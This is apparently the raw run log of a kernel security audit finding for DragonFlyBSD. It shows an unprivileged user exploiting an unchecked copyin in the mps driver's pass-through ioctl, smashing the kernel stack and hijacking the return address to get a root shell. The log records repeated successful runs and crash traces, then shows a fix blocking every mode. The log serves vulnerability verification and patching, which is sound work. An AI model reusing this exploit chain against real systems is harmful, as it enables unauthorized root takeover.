⬢ DragonFlyBSD Kernel Audit
DF-1359 / run.log
← back to finding ↓ download raw
# DF-1359 pass-3 canonical run log (GLM 5.3 verify mode, 2026-10-11)
# Guest: DragonFly 6.5-DEVELOPMENT #0 (md5 4625046e8061b34e1758d291bc6cad18),
# clean `vm.sh reset with-src` state.  All attack runs executed as the
# UNPRIVILEGED operator-group user uid=2/gid=5 over the 0640 root:operator
# rig node, dispatching the REAL compiled-in mps_ioctl_devsw.

## Rig build + prime (root, once)
$ sh rig_build.sh
  cc ... -fno-stack-protector ... -c df1359rig.c
  mps_ioctl_devsw = 0xffffffff805b16d0
  kern.df1359rig_target: 0 -> 18446744071568037584
  crw-r-----  1 root operator  32, 0x00000000 /dev/df1359rig
$ dmesg | tail
  df1359rig: loaded; fake sc=0xfffff80117e2a880 facts=0xfffff80117b08e80
    (IOCRequestFrameSize@+0x24=32); /dev/df1359rig 0640 root:operator;
    gd_curthread@+8 td_proc@+168 p_ucred@+16 cr_uid@+64

## 1. probe -- RequestSize=132 (> facts->IOCRequestFrameSize*4 = 128)
$ su operator -c '/root/rig1359/trigger probe'
  mode=probe cs=0x2b ss=0x23 off: ct=8 tp=168 pu=16 uid=64 ruid=160 svuid=164 grp=72 rgid=168 svgid=172
  shellcode: 132 bytes at 0x10000000
  (full hexdump in rig_probe_first.log)
  open ok fd=3, ioctl MPTIOCTL_PASS_THRU (0xc0384904) RequestSize=132
  DF1359_CONTINUATION: getuid=0 getgid=0 (pid 1152)
  DF1359_ROOT: uid=0 achieved, launching root shell
  uid=0(root) gid=0(wheel) groups=0(wheel)
  DF1359_SHELL uid=0
$ uptime   -> up 12 mins ... guest HEALTHY (kernel-side dispatch recorded in dmesg)

## 2. evaded -- RequestSize=96 (PASSES the post-hoc check at mps_user.c:806)
$ su operator -c '/root/rig1359/trigger evaded'
  open ok fd=3, ioctl MPTIOCTL_PASS_THRU (0xc0384904) RequestSize=96
  DF1359_CONTINUATION: getuid=0 getgid=0 (pid 1172)
  DF1359_ROOT: uid=0 achieved, launching root shell
  uid=0(root) gid=0(wheel) groups=0(wheel)
  DF1359_SHELL uid=0
$ dmesg:  df1359rig: dispatch REAL mps_ioctl_devsw @ 0xffffffff805b16d0 cmd=0xc0384904
         unknown: mps_user_pass_thru: no mps requests      <- REAL production ENOMEM print
  (the copyin at :802 smashed 84 bytes past the 12-byte tmphdr BEFORE the
   check at :806 accepted 96<=128; the ENOMEM error return then executed
   through the smashed saved RIP)

## 3. stress -- probe x3 (same session)
  === probe run 1 ===  DF1359_ROOT ... uid=0(root) gid=0(wheel) groups=0(wheel)
  === probe run 2 ===  DF1359_CONTINUATION: getuid=0 getgid=0 (pid 1188) ... uid=0
  === probe run 3 ===  DF1359_CONTINUATION: getuid=0 getgid=0 (pid 1193) ... uid=0
  $ uptime -> up 12 mins  (3/3, no crash; probe now 4/4)

## 4. rip -- RequestSize=132, saved RIP = 0x4142434445464748
$ su operator -c '/root/rig1359/trigger rip'
  open ok fd=3, ioctl MPTIOCTL_PASS_THRU (0xc0384904) RequestSize=132
  (ioctl never returns; ssh session dies with the guest)
$ vm.sh status -> down ;  serial console (rig_rip_control_trap.txt):
  Fatal trap 9: general protection fault while in kernel mode
  instruction pointer = 0x8:0xffffffff805b121e     <- mps_user_pass_thru+0x63e: ret
  frame pointer       = 0x10:0x0                   <- popped saved RBP (zeroed payload)
  Stopped at mps_user_pass_thru+0x63e: ret         <- the popped RIP is the attacker's

## 5. FRESH-SNAPSHOT canonical run (after `vm.sh reset with-src`)
$ vm.sh reset with-src ; rebuild + reload + prime rig ; md5 kernel = 4625046e...
$ su operator -c '/root/rig1359/trigger probe'
  DF1359_CONTINUATION: getuid=0 getgid=0 (pid 1006)
  DF1359_ROOT: uid=0 achieved, launching root shell
  uid=0(root) gid=0(wheel) groups=0(wheel)
  DF1359_SHELL uid=0
$ uptime -> up 44 secs    (fresh-snapshot probe: 1/1; probe total 5/5)

## 6. smash -- RequestSize=4096 spray of 0x4142434445464748
$ su operator -c '/root/rig1359/trigger smash'
  open ok fd=3, ioctl MPTIOCTL_PASS_THRU (0xc0384904) RequestSize=4096
$ vm.sh status -> down ; serial console (rig_smash_panic.txt):
  Fatal trap 9: general protection fault while in kernel mode
  instruction pointer = 0x8:0xffffffff805b121e
  frame pointer       = 0x10:0x4546474841424344    <- attacker tag as popped RBP
  Stopped at mps_user_pass_thru+0x63e: ret
  (the copyin length is unbounded because the only bounds check runs after it)

## 7. FIX VALIDATION -- single-fix kernel (fix.diff 3/3 hunks, nativekernel
##    X86_64_GENERIC BUILD_RC=0, installkernel INSTALL_RC=0, kernel #1
##    md5 06407b51b4faf526c26e1c25c198d2fd, patched mps_ioctl_devsw @
##    0xffffffff805b16f0; rig primed there with vulncheck=0)
$ su operator -c '/root/rig1359/trigger probe'   -> rc=-1 errno=22 (EINVAL)
$ su operator -c '/root/rig1359/trigger evaded'  -> rc=-1 errno=12 (ENOMEM)
$ su operator -c '/root/rig1359/trigger rip'     -> rc=-1 errno=22 (EINVAL)
$ su operator -c '/root/rig1359/trigger smash'   -> rc=-1 errno=22 (EINVAL)
$ probe repeat x2                                -> EINVAL, EINVAL
$ uptime -> up 1 min ; dmesg Fatal-trap count: 0 ; guest HEALTHY
   every mode now RETURNS through the normal syscall path; zero escalation.
   patched disassembly (rig_fixed_disasm_order.txt): range check
   (cmp $0xb,%r8d ; facts deref ; shl $2 ; cmp/jae) reaches the EINVAL block
   BEFORE the copyin site, which is now `mov $0xc,%edx` -- sizeof(tmphdr) only.

## Bottom line
operator(uid=2) -> /dev node 0640 root:operator -> MPTIOCTL_PASS_THRU ->
REAL mps_user_pass_thru -> unchecked copyin (mps_user.c:802) -> kernel stack
smash -> saved RIP control (+0x44 from &tmphdr) -> user-page kernel shellcode ->
ucred uid/gid zeroing -> swapgs+iretq -> uid=0 root shell.  5/5 probe, 1/1
evaded, deterministic trap signatures for rip/smash.  fix.diff closes all
paths on a rebuilt kernel.